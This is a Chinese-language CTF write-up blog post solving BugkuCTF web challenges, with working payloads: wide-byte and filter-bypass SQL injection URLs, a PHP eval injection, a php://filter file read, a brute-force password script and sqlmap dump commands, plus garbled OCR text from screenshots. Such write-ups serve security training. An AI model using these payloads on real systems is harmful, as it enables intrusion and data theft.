BugkuCTF——web篇writeup(持续更新)



订阅专栏

BugkuCTF——web篇writeup

平台网址: http://ctf.bugku.com/

平台首页:



web2

网址链接: http://120.24.86.145:8002/web2/

页面:



一看只有好多滑稽,分数也不太高,应该不是很难,F12打开开发者工具看一下



得到ctf:flag KEY{Web-2-bugKssNNikls9100}

文件上传测试

链接: http://103.238.227.13:10085/

Challenge	381 Solves	×
	文件上传测	试
	30	
http://103.238.2	27.13:10085/	
Flag格式: Flag:>	2000000000000	
Flag	1	Submit



一看是文件上传测试,是文件上传的问题,看一下要求:

1、请上传PHP文件

2、文件上传大小不允许超过1M

先上传php文件试一下

选择文件 1.php Submit cscm.met/qq_36706878 非图片文件 t/qq_36706878

发现提交后报错,说是非图片文件,那就再上传 接下来就觉得前端验证是图片后缀的验证,上传到服务器时分析的是php文件,不说了 用%00截断或者00截断试试

打开burp抓包工具——设置代理——抓包

	🤸 Burp	o Suite	Free Ed	dition v1.	6.28										_		\times
ł	Burp Intr	uder Re	peater \	Window He	lp												
	Target	Proxy	Spider	Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extende	Options	Alerts					
	1 × 2	× (
:	Go	Ca	incel	<	$ \mathbf{v} $								Target:	: http://103	.238.227.1	3:10085	.// ?
	Reques	t							- F	Response							
	Raw	Params	Heade	rs Hex						Raw Hea	ders Hex						
	POST / I Host: 10 Jac-Page rv:59.0) Accept: ext/htm 8 Accept-I San-CN,21 Accept-I Content- Content- Content- Content- filename Content- filename Content- filename Content-	HTTP/1. 03.238. ent: MG Gecko al, appl anguago i, q=0.8 Chcodin thtp: -Type: -Type: -Type: -Dispos ="222. -Type: (FODDC ality)	1 227.13 221124 22000 licatio ge: 8,2h-Th 9g: gzi //103. multip 1: 2946 sep-ali 1: 2946 sep-ali	:10085 5.0 (Win 101 Fire n/xhtml+ [;q=0.7,z p, defla 238.227. .art/form 	dows NT fox/59.0 xml,app] h-HK;q=0 te 13:1008 -data; -2650019 ta; name OR: gd- <u>;</u>	10.0; Win .ication/; 0.5,en-US; 5/ 265001914 916915724 ="file"; peg v1.0	n64; x64; xml;q=0.9, ;q=0.3,en; 6915724 (using IJ	*/*;q=0 q=0.2 G JPEG	HI See CC CC VA X- CC FI	TTP/1.1 2 erver: no ate: Fri, ontent-Ty onnection ry: Acce Powered- ontent-Le Lag:42e97	00 OK inx 23 Mar : pe: text, : keep-a pt-Encod By: PHP/ ngth: 37 4465f962	2018 11:: /html; cl live ing 7.0.7	55:52 GMT harset=ut 9377b513c	f-8 7e			
ľ	?	: +	>	Type a se	arch term			0 mate	ches	? <	+ >	Type a	search term				0 matches
	Done											ht	tps://b		in. net ₂ /	40 bytes	260 millis

上传的是一个222.png图片,这时候最好别直接上传php的文件用%00可能存在对文件的内容解析 导致上传失败

最后得到flag: Flag:42e97d465f962c53df9549377b513c7e

计算器





https://blog.csdn.net/qq_36706878



发现只能输入一个数字,肯定是对提交的内容做了长度限制,打开开发者工具把长度改一下



因为计算结果为18 长度改为2



得到flag: flag{CTF-bugku-0032}

web基础\$_GET

链接: http://120.24.86.145:8002/get/



https://blog.csdn.net/qq_36706878

发现是很简单的代码 提交的数据(get方式)只要what=flag就行



flag: flag{bugku_get_su8kej2en}

web基础\$_POST

链接: http://120.24.86.145:8002/post/

Challenge	372 Solves	×
W	eb基础\$_POS 30	Т
http://120.24.86	145:8002/post/	
Flag		Submit
	https://blog.csdn.net	/qq_36706878

×	☆ 选项 × 十
	i 120.24.86.145:8002/post/
1	新手上路 360导航 わao123导航 🛛 百度一下
<	\$what=\$_POST['what']; echo \$what; if(\$what=='flag') echo 'flag{****}';
)2	https://blog.csdn.net/qq_36706878

这里用一下火狐的插件hackbug



得到flag: flag{bugku_get_ssseint67se}

矛盾

链接: http://120.24.86.145:8002/get/index1.php



读一下代码 判断输入的num 如果不是数字的话且为1的话输出flag 应了题目的话 自相矛盾, 但是我们有很多方法让num 为1但是不是数字 比如num= 1e0.123



得到flag: flag{bugku-789-ps-ssdf}

web3

网址: http://120.24.86.145:8002/web3/

Challenge	398 Solves	×
	web3	
	30	
flag就在这里快来 http://120.24.86	⊱找找吧 ⊾145:8002/web3/	
Flag		Submit

打开网页之后发现一直弹出这个框 是不是特别烦 直接个禁止了

×	✿ 选项	×	+			
	i 120.24.8	6.145:8002/web3	3/	🛡	☆	Q 捜索
閿 新	手上路 🛞 360导航	♂ hao123导航	一 国西 一 国 国 国 国 国 国 国 国 国 国 国 国 国 国 国 国 国			
×						
02						
40 m	까티 마음.					
然后	,	∃ 一斤沱然	₩Ŋ T12有一ト			
<h< th=""><th>tml> 🛃</th><th></th><th></th><th></th><th></th><th></th></h<>	tml> 🛃					
1	<nead> <title>BKCTF-V</title></nead>	WEB3				

alert("flag就仕这里"); alert("米孩找吧"); alert("flag就仕这里"); alert("米孩找吧"); alert("flag就仕这里"); alert("米孩找吧"); alert("flag就仕这	
里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找	找
吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("fla	就在
这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来	找找
吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("fla	就在
这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来	找找
吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("fla	就有
这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来	找找
吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("fla	就有
这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来	找找
吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("fla	就有
这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来	找找
吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("fla	就在
这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来	找找
吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("fla	就有
这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来	找找
吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("fla	就有
这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来找找吧"); alert("flag就在这里"); alert("来	找找
吧"); alert("flag就在这里"); alert("来找找吧");	
KEY{J2sa42ahJK-HS1III}	
<style></style>	
▶ sody>	79
https://blog.csuh.het/dq_50/068	10

发现一串很特别的东西 百度一下这是什么码

二话不说 直接粘贴到浏览器上一回车发现flag就出来了

索 -	k#97;	4;JK	-:	2;S	9;1	I&#	73;I	 👻	搜索	2079	:
T With	些 福字图片 Ⅲ八土	学★4ド工育兆	电影天堂	微信公众号 CT{JZSd42	msdn auvr-m	☆	■ 微软	md5	展开(24)、 eup - 1支:	/ /	^ / L
搜索	KEY{J2sa	a42ahJK-HS	11111}	(ht	tps:/	/blog.	csdn.	0 X net/qc	搜狗	搜索

直接就出来了

flag: KEY{J2sa42ahJK-HS11III}

sql注入

链接: http://103.238.227.13:10083/

SQL测试	××	🕻 选项	×	+	
\leftarrow \rightarrow C \textcircled{a}		i 103	3.238.227.13:10083		
🗘 最常访问 📄 火狐官方站点	🕖 新手.	上路 🛞 36	60导航 hao123导航	🞇 百度一下	
Hackbar ✓	×		SQL注入测	试	
Encryption Encoding			+\/		
Load Split Run			查询key表,id=1的stri	ng字段	
http://103.238.227.13:1 83/	00				
			id		1
			key		fdsafdasfdsa
Enable Post data					
Enable Referer	.::				https://blog.csdn.net/qq_36706878

很明显 查询key表, id=1的string字段

构造payload: http://103.238.227.13:10083/index.php?id=-1%20union%20select%201,string%20from%20%27key%27%20#



发现没有出来 怎么什么都没有了 继续重头开始 看一下是什么注入

(←) → C ⁱ	i 103.	238.227.13:10083/index.php?id=1'	
🌣 最常访问 📄 火狐官方站点 🌏 新	新手上路 360)导航 ð hao123导航 🔛 百度一下	
		SQL注入测试	
Encryption Encoding			
a Load 🛛 🐰 Split 💽 Run		查询key表,id=1的string字段	
http://103.238.227.13:100			
83/index.php?id=1%27			
		id	1
		key	fdsafdasfdsa
Enable Post data			
			https://blog.csdn.net/qq_36706878

发现id=1和id=1'都没错 想起了宽字节注入 试一下

← → C 企 ☆ 最常访问 □ 火狐官方站点 ● 新	① 103.238.227.13:10083/index.php?id=1%df%27
Hackbar X	SQL注入测试
Load & Split Run http://103.238.227.13:100 83/index.php?id=1%df%27	查询key表,id=1的string字段
	You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "1) "LIMIT 1' at line 1
i ☑ Enable Post data	

果然 那么就好了构造payload:http://103.238.227.13:10083/index.php?id=1%df%27 union select 1,string from 'key'#

	, אם 🗐 אניבריזוסוו 🕼 אניבריאראי 💭 דרוע
Hackbar ×	SQL注入测试
Load Split Run	查询key表,id=1的string字段
http://103.238.227.13:100	
83/1ndex.pnp?id=1%df%27 %20union%20select%201,str	You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "\key\" LIMIT 1' at line 1
1ng%20from%20%27Key%27#	
Enable Post data	https://blog.csdn.net/qq_36706878

报错 是引号的问题 那试一下另一种引号

http://103.238.227.13:10083/index.php?id=1%df%27 union select 1,string from `key`#

这种引号在tab键的上面

	👅 अ। उ . मा	
🚺 Hackbar 🗸	×	SQLVQQQQ
Encryption Encoding		
a Load 👷 Split 💽 Run]	♦ ♦ Žkey ♦ ♦,id=1 ♦ ♦ string ♦,♦
http://103.238.227.13:1	00	
83/index.php?id=1%df%27 union select l,string		You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near " LIMIT 1' at line 1
film key #		
🗹 Enable Post data		

发现还报错 想起了是#的问题 把#改成%23

SQL测试	×	🛠 选项	×	+
\leftrightarrow > C' \textcircled{a}		i 10	3.238.227.13:10083/ind	ex.php?id=1%df%27%20union%20select%201,string%20from%20`key`% 🛛 🐨 又 搜索
🗘 最常访问 📄 火狐官方站点	🕘 新	手上路 🛞 3	60导航 Mao123导航	2 百度一下
	×		SQL注入测	试
Encryption Encoding			查询key表,id=1的strin	ng字段
http://103.238.227.13:1	00			
%20union%20select%201, s	tr		id	1
Ing//20110m//20 Key //20			key	fdsafdasfdsa
Enable Post data			id	1
			key	54f3320dc261f313ba712eb3f13a1f6d
			id	1
Enable Referer			key	ааааааааа

https://blog.csdn.net/qq_36706878

得到flag: 54f3320dc261f313ba712eb3f13a1f6d

sql注入1

链接: http://103.238.227.13:10087/

目录(?)[+]

访问参数为:?id=x

查找表为key的数据表,id=1值hash字段值

[html] view plain copy

1. 以下是其中一段代码

[html] view plain copy

1. //过滤sql

2. \$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');

```
3. foreach ($array as $value)
 4. {
     if (substr_count($id, $value) > 0)
 5.
 6.
     {
 7.
       exit('包含敏感关键字! '.$value);
 8.
    }
 9. }
10.
11. //xss过滤
12. id = strip tags(id);
13.
14. $query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
15.
```

首先我们看到这道CTF题的时候通过代码审计,我们可以知道它过滤了很多关键字,这样一来我们不知道怎么下手,但是 它又给出了一段代码,这段代码如果你不注意的话就可能认为是多余的,但是它这段代码就是提示

我们通过百度查一下strip_tags()这个函数的作用

定义和用法

strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。

注释: 该函数始终会剥离 HTML 注释。这点无法通过 allow 参数改变。

注释: 该函数是二进制安全的。

语法 strip_tags(string,allow)

剥去字符串中的 HTML 标签,但允许使用 标签:

```
<?php
echo strip_tags("Hello <b><i>world!</i></b>","<b>");
?>
```

知道原理后,那么我们就可以直接构造payload了

构造如下http://103.238.227.13:10087/index.php?id=-1 un
ion sel
ect hash,1 fr
om `key`#

最后结果如下:

SQL注入测试 访问参数为:?id=x 查找表为key的数据表,id=1值hash字段值 以下为其中一段代码:

```
//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','trunc
foreach ($array as $value)
{
    if (substr_count($id, $value) > 0)
    {
        exit('包含敏感关键字! '.$value);
    }
}
//xss过滤
$id = strip_tags($id);
$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
```

当前结果:

id	c3d3c17b4ca7f791f85e#\$1cc72af274af4adef
title	1

得到 flag:

c3d3c17b4ca7f791f85e#\$1cc72af274af4adef

本地包含

链接: http://120.24.86.145:8003/

本地	包含		
e	60		
5.145:8003	/		
			Submit
;	.145:8003	.145:8003/	.145:8003/



分析出hello这个post/get获取的参数值很重要(\$_REQUEST对get, post都能接受)

看一下 直接构造payload就行了 这里用了一个知识

http://120.24.86.145:8003/index.php?hello= 1);print_r(file("./flag.php%22")

```
就相当于: eval( "1);print_r(file("./flag.php%22")");
```

+					
	i) 120.24.86.145:	8003/index.php?hello=	l);print_r(file("./flag.p	np")	… ♥ ☆ Q 搜索
新手上	路 🛞 360导航 🛞 h	ao123导航 🖄 百度一下			
int(1 ?>	<pre>I) Array ([0] => 2 include "fl \$a = @\$_RH eval("var_ show_source)</pre>	<pre>\$flag = 'Too Young T lag. php"; QUEST['hello']; dump(\$a);"); (FILE);</pre>	oo Simple'; [2] =>	# echo \$flag; [3] =>	# flag{bug-ctf-gg-99}; [4] => ?>) php</th
					https://blog.csdn.net/qq_36706878
flag 亦昌	: flag{bug-c	tf-gg-99}			
又里	_				
链接:	http://120.24.8	6.145:8004/index1.pl	ηp		
	Challenge	231 Solves		×	
		变量	1		
		60			
	http://120.24.86	.145:8004/index1.ph	р		
	Flag			Submit	
		https	://blog.csdn.ne	t/aa 36706878	



一个变量,当变量符合要求时输出flag 首先得知args这个变量是七个字符的 想起了全局变量 GLOBALS



得到flag: flag{92853051ab894a64f7865cf3c2128b34}

web5

链接: http://120.24.86.145:8002/web5/

Challenge	270 Solves	×
	web5	
	60	
JSPFUCK??????	答案格式CTF{**}	
http://120.24.86	.145:8002/web5/	
字母大写		
Flag		Submit
	https://blog.	csdn.net/qq_3670687
× +		
i 120.24	.86.145:8002/web5/	
🥑 新手上路 360导	航 🛞 hao123导航 🔛 百度一下	
× JSPFUCK????	?答案格式CTF{*****}	
	Submit	
02		
h	ttps://blog.csdn.net/qq_3	6706878



120.24.86.145:8002/web5/index. X	+
(← → ♂ @	(i) 120.24.86.145:8002/web5/index.php
🗘 最常访问 📄 火狐官方站点 🤘	新手上路 360导航 hao123导航 🔛 百度一下
	JSPFUCK?????答案格式CTF{*****}
Encryption Encoding	1122 Submit
Load Split Run http://120.24.86.145:8002 /web5/index.php	在好好看看。
flag=1122&submit=Submit	
	https://blog.csdn.net/qq_36706878

发现什么都没有 抓包试试



发现出来一种码 直接用浏览器自带的工具 开发者工具里的console解码



flag: ctf{whatfk}

头等舱

Challenge	159 Solves	×
	头等舱	
	60	
http://120.24.86.	145:9009/hd.php	
Flag		Submit
	https://blog.cs	dn.net/qq_36706878

链接: http://120.24.86.145:9009/hd.php

什么也没有。

os://blog.csdn.net/qq_36706878

打开之后 发现现实什么也没有 打开源码看一下



发现有隐藏的元素 所以直接抓包

Burp Suite Free Edition v1.6.28											
Burp Intruder Repeater Window Help											
Target Proxy Spider Scanner Intruder Repe	ater Sequencer	Decoder	Comparer	Extender	Options	Alerts					
1 × 2 ×											
Go Cancel < v > v							т	arget: htt	p://120.24	1.86.145	5:900
Request			F	lesponse							
Raw Headers Hex			ſ	Raw Heade	ers Hex	HTML	Render				
GET /hd.php HTTP/1.1 Host: 120.24.86.145:9009 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: text/html,application/xhtml+xml,applicat: .8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1	<pre>Win64; x64; Lon/xml;q=0.9, h-US;q=0.3,en;</pre>	*/*;q=0 q=0.2	<pre>HT Se Da CC CC Ke fl CC CC Ke fl CC CC Ke fl CC CC Ke fl CC CC Ke fl CC CC CC Ke fl CC CC CC Ke fl CC CC CC CC Ke fl CC CC CC CC CC CC CC CC CC CC CC CC CC</pre>	TP/1.1 200 rver: ngi te: Wed, : ntent-Typ nnection: ep-Alive: ag(Bugku_i ntent-Lend tml> eta http- arset=UTF re> <br< td=""><td>D OK nx 28 Mar 2 e: text/ keep-al timeout timeout k8_23s_i gth: 139 equiv="C -8" /> r> <b< td=""><td>content content s://b1</td><td>:07:06 (-Type" (-Type" (</td><td>SMT content= pr></td><td>="text/F</td><td>1tml;</td><td>78</td></b<></td></br<>	D OK nx 28 Mar 2 e: text/ keep-al timeout timeout k8_23s_i gth: 139 equiv="C -8" /> r> <b< td=""><td>content content s://b1</td><td>:07:06 (-Type" (-Type" (</td><td>SMT content= pr></td><td>="text/F</td><td>1tml;</td><td>78</td></b<>	content content s://b1	:07:06 (-Type" (-Type" (SMT content= pr>	="text/F	1 tml;	78

得到flag: flag{Bugku_k8_23s_istra}

web4

链接: http://120.24.86.145:8002/web4/

看看源代码?	🕞 🗋 Elements Console Sources Network Timeline Profiles Resources Security Audits
	(http://www.commons.com/
Submit	r (hedu)=(hedu) v (hedu)
	<pre>cdiu style="display:poper"></pre>
	▼ <form action="index.pho" method="nost"></form>
	著看源代码?"
	<pre> to the second sec</pre>
	<pre> dbr></pre>
	▼(script)
	12/29/45/35/39/29/29/29/29/29/29/29/29/29/29/29/29/29
	var p2 =
	*%1%61%36%34%38%63%66%38%37%61%37%31%31%31%31%31%23%36%31%22%36%31%62%75%65%39%72%65%74%75%72%66%21%30%30%61%62%5%72%72%66%77%22%29%30%61%22%66%66%6%75%75%
	2082/56/209/2003/2003/2003/05/2008/21511/08/030400550/58/2500300556/48/45/20030055008/48425/25005000052008/48425/2500505/0505/05055/05055/05055/05055/05055/05055/05055/050555/050555/050555/050555/050555/050555/0505555/0505555/0505555/0505555/05055555/050555555
	eval(upscape(n) + upscape('33\$34\$61\$61\$32' + n2)):
	<input id="flag" name="flag" type="input"/>
	<input name="submit" type="submit"/>
	<pre><div <="" class="sogoutip" pre="" style="z-index: 2147483645; visibility: hidden; display: none;"></div></pre>
	<pre><div class="sogoubottom" id="sougou_bottom" style="display: none;"></div></pre>
	<pre>> (div 1d="ext_stoph1" style="z-index: 2147483647;">(/div)</pre>
	<pre><dlv class="ext_overlayBo" ext_overlay="" law="" style="display: none; 2:1ndex: 2:4/480460"> </dlv></pre>
	Finally class-sugue_sugg_recondextual relation of a second strain (c) // (c) mm.socour.c) // recurrecosed c) // recurrecosed
	«
	https://blog.csdn.net/q <mark>a_scubs/8</mark>

让查看源代码 我们旧查看源代码 在源代码里找到一段脚本 用js跑一下

开放所有函数,超时时间20秒,请使用最新版浏览器获取最好体验。

php5.3 java1.7 ruby D语言	php5.4 java1.8 nodejs clojure	php5.5 shell Objective-C groovy	php5.6 c语言 swift lisp	php7 c++ erlang ocaml	python2.7 nasm(汇编) rust CoffeeScript	python3 go R语言 racket	C# lua scala nim	F# perl haskell			
还原到默认cod 1 var p1 = 2 var p2 =	e '%66%75%6e%63 = '%61%61%36%34	3%74%69%6 f %6e%2 4%38%63%66%36%	0%63%68%65%63% 5%38%37%61%37%	6b%53%75%62%6d 31%31%34%66%31	%69%74%28%29%7t %22%3d%3d%61%2e	0%76%61%72%20%6 0%76%61%6c%75%6	51%3d%64%6 f %63% 55%29%72%65%74%	%75%6d%65%6e%74%2e%67%65%74 %75%72%6e%21%30%3b%61%6c%65			
3 var p3 = 4 console	•unescape(p1) + .log(p3);	+ unescape('%35	%34%61%61%32 '	+ p2);							
run (ctrl+r) ● 文本方式显	输入 copy 示 ◎ html方式	分享当前代码 显示	出现故障,请使用	个点击这里							
function checkS {if("67d709b2b5	ubmit(){var a=doci 4aa2aa648cf6e87	ument.getElement 7a7114f1"==a.valu	Byld("password");i e)return!0;alert("E	f("undefined"!=typ rror");a.focus();ref	eof a) turn!1}}document.g	jetElementByld("le	evelQuest").onsubi	nit=checkSubmit;			

https://blog.csdn.net/qq_36706878

解析后得到:

function checkSubmit(){var a=document.getElementByld("password");if("undefined"!=typeof a) {if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementByld("le

说如果我们提交的内容是67d709b2b54aa2aa648cf6e87a7114f1就可以得到flag试一下

看看源代码?	
	Submit
VEN (TOOTH MELL)	

KEY {J22JK-HS11}

//blog.csdn.net/qq_36706878

KEY{J22JK-HS11}

flag在index里

链接: http://120.24.86.145:8005/post/

	Challenge	263 Solves		×	
		flag在ind 80	dex里		
	http://120.24.86	.145:8005/post/			
	Flag			Submit	
		https://blog	g.csdn.net	/qq_367068′	78
٤	▶ / ⊕ 网址≯	全 >			
cli	<u>ck me? no</u>				

os://blog.csdn.net/qq_36706878

L / WWLAI

test5

sdn.net/qq_36706878

点击下发现什么都没有不过题目都说了 flag在index里 所以可以直接构造 payloadhttp://120.24.86.145:8005/post/index.php?file=php://filter/convert.base64-encode/resource=index.php

得到一串码

PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygw

base64解码

<html>

<?php

error_reporting(0);
if(!\$_GET[file]){echo 'click me? no';}
\$file=\$_GET['file];
if(strstr(\$file,"../")||stristr(\$file, "tp")||stristr(\$file,"input")||stristr(\$file,"data")){
echo "Oh no!";
exit();
}
include(\$file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
</pfl>

得到flag{edulcni_elif_lacol_si_siht}

输入密码查看flag

网址: http://120.24.86.145:8002/baopo/

Challenge	218 Solves	×
5 1	俞入密码查看flag 80	
http://120.24.86	5.145:8002/baopo/	
作者: Se7en		
Flag		Submit
	https://blog.csdn.net/	qq_36706878

输入查看密码		□ 查看
请输入5位数3	密码查看,获取密码	冯可联系我。

https://blog.csdn.net/qq_36706878

一看是让输入5位数字密码 而且url就告诉你了让我们用爆破 那就爆破白 密码时从00000到999999一共十万个

用phthon吧 慢慢爆破 虽然有点慢

```
#coding:utf-8
import requests
url='http://120.24.86.145:8002/baopo/?yes'
value=[]
for i in range(0,99999):
    if(len(str(i))<5):</pre>
        value.append("0"*(5-len(str(i)))+str(i))
    else :
        value.append(str(i))
data = {'pwd':00000}
content = requests.post(url,data=data)
content.encoding='utf-8'
patch=content.text
for i in value:
    data = {'pwd':i}
    print ('尝试密码: ',i)
    content = requests.post(url,data=data)
    content.encoding='utf-8'
    html=content.text
    if html != patch:
        print (html)
```

flag (bugku-baopo-hah)

最后爆出密码为13579 输入即可得到flag

flag:flag{bugku-baopo-hah}

点击一百万次

	Challenge	317 Solves	×
		<u>点击一百万次</u> 80	
	http://120.24.86 hints:JavaScript	145:9001/test/	
	Flag		Submit
		https://blog.csdn.net	:/qq_36706878
打开	之后是下面	这个样子	
	 120.24.86 	6.145:9001/test/?_360safepar	am=161172328



手上路 360导航 hao123导航 🔛 百度一下



什么也看不出来 F12分析下源码:

var clicks=0 \$(function() { \$("#cookie") .mousedown(function() { \$(this).width('350px').height('350px'); }) .mouseup(function() {
 \$(this).width('375px').height('375px'); clicks++; \$("#clickcount").text(clicks); if(clicks >= 1000000){ var form = \$('<form action=""
 method="post">' + '<input type="text" name="clicks" value="' + clicks + '" hidden/>' + '</form>'); \$('body').append(form); form.submit(); } })
});

</script>

https://blog.csdn.net/qq_36706878

有一个post提交的数据 那就构造一下呗



得到flag: flag{Not_C00kl3Cl1ck3r}

成绩单

链接: http://120.24.86.145:8002/chengjidan/



这个一看应该是SQL注入 先提交一个数据看看



发现有一个post数据 那就利用这个数据注入白

先抓包

POST request to http://120.24.86.145:8002/chengjidan/index.php — 🛛 🗙
Previous Next Action
Request
Raw Params Headers Hex
POST /chengjidan/index.php HTTP/1.1 Host: 120.24.86.145:8002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101
<pre>Firefox/59.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</pre>
Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
Referer: http://120.24.86.145:8002/chengjidan/index.php
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Upgrade-Insecure-Requests: 1
tid=1
-
ic
ic
https://blog.ord/26706070
³¹ ? < + > Type a search term

然后点击action——>从copy to file

我保存在了 D盘3333.txt

POST req	uest to http:	//120.24.80	5.145:8002/chengjidan	n/index.php —		×
				Previous		Action
Request		C1				
Raw Params	-> Choose	a file to sav	/e to	×		
POST /chengj Host: 120.24	查找([): 📃 :	新加卷 <mark>(D:)</mark>	A A A A			A
User-Agent: Firefox/59.0	葿 360Down	loads	📄 itcast	📄 MyDownloads	.01	
Accept: text Accept-Langu	简 360安全》	前览器下载	LudashiDownloads	MySQL Datafiles	2	
Accept-Encod Referer: htt:	Android	et.	📄 mgtv	phpStudy PHRTutorial		
Content-Type Content-Leng	androidte	51	mgw.cache			
Connection: Upgrade-Inse	•			٦.		
id=1	文件名(<u>N</u>):	3333.txt				
	文件类型 (<u>T</u>):	所有文件		•		
				保左 即消		to
						v
? < +	- > Туре	e a search ten	m https://	//blog.csdn.net/	<u>qq</u> _8	0 matches

打开sqlmap



得到当前使用数据库skctf_flag

爆表sqlmap -r "D:\3333.txt" -p id --table -D "skctf_flag"



```
爆f14g的列
```

qlmap identif	ied the following injection points with a to				
lace: POST arameter: id Type: bool Title: AND Payload: i	ean-based blind boolean-based blind - WHERE or HAVING claus d=1'AND 8955=8955 AND 'YMP1'='YMP1				
Type: UNIO Title: MyS Payload: i	Type: UNION query Title: MySQL UNION query (NULL) - 4 columns Payload: id=1'LIMIT 1,1 UNION ALL SELECT NULL, NULL,				
Type: AND/ Title: MyS Payload: i	OR time-based blind QL > 5.0.11 AND time-based blind d=1'AND SLEEP(5) AND 'EYui'='EYui				
18:27:17] [IN ack-end DBMS: 18:27:17] [IN 18:27:17] [IN 18:27:17] [IN atabase: skct able: fl4g 1 column]	FO] the back-end DBMS is MySQL MySQL 5.0.11 FO] fetching columns for table 'f14g' in dat FO] the SQL query used returns 1 entries FO] resumed: "skctf_f1ag","varchar(64)" f_f1ag				
Column	Туре				
skctf_flag	varchar(64)				
18:27:17] [WARNING] cannot properly display Unicode chara issue1602). All unhandled occurances will result in repla entation inside corresponding output files. 18:27:17] [INFO] fetched data logged to text files under *] shutting down at 18:27:15://blog.csdn.net/qq_36706878					

爆字段



得到flag: BUGKU{Sql_INJECT0N_4813drd8hz4}

phpcmsV9

链接: http://120.24.86.145:8001/

Challenge	34 Solves	×
	phpcms∨ 100	/9
一个靶机而已, flag在根目录里b http://120.24.86	别搞破坏。 t文件里 145:8001/	
Flag		Submit
	https://hlog.cs/	dn net/aa 36706878

看到这句话 想都没有想 直接扫描了下目录里的txt文件



根目录下存在flag.txt

直接打开:



flag{admin_a23-ae2132_key}